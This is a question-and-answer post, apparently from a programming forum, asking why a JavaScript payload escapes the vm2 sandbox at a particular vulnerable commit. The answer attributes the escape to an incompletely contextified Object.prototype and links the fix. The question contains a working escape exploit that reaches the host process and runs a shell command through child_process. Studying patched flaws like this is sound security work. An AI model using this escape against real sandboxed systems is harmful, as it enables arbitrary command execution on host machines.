How to understand the following code to escape the vm2 sandbox in node.js

3.3k views Asked by At

I try to understand the following code as much as possible, because understanding it helps me a lot

"use strict";
const {VM} = require('vm2');
const untrusted = `var process;
try{
    Object.defineProperty(Buffer.from(""), "", {get set(){
        Object.defineProperty(Object.prototype,"get",{get(){
            throw x=>x.constructor("return process")();
        }});
        return ()=>{};
    }});
}catch(e){
    process = e(()=>{});
}
process.mainModule.require("child_process").execSync("id").toString();`;
try{
    console.log(new VM().run(untrusted));
}catch(x){
    console.log(x);
}

The above code can escape the vm2 sandbox. I cloned the source code of vm2 from GitHub and reset to 7ecabb1.

I know that vm2 is more secure than vm because it blocks the prototype chain through proxy in es6. In the above code, an exception is thrown and caught, and then an arrow function is passed into x = > x.constructor ("return process") (); At this time, x is a proxy object and can access the external Function to escape

I also try this code

"use strict";
const {VM} = require('vm2');
const untrusted = `var process;
try{
    throw function (x) {
        debugger;
        return x.constructor("return process")();
    };
}catch (e) {
    e(()=>{});
}`;
try{
    console.log(new VM().run(untrusted));
}catch(x){
    console.log(x);
}

But in this code, the same goes to x => x.constructor ("return process") () At this time, x is a function and cannot escape the sandbox, so I am very confused. What is the reason of the first piece of code being able to escape from the sandbox of vm2?

1

There are 1 answers

0
TimTIM Wong On BEST ANSWER

If you read the fix https://github.com/patriksimek/vm2/commit/23576ad235b522d70f7acc2aae11ed36d3cf3aac you'll find that Object.prototype was not properly contextified.

In your second piece of code, you don't compromise the getter/setter to inject the function to be run in the host.

Basically, the proxy was incomplete.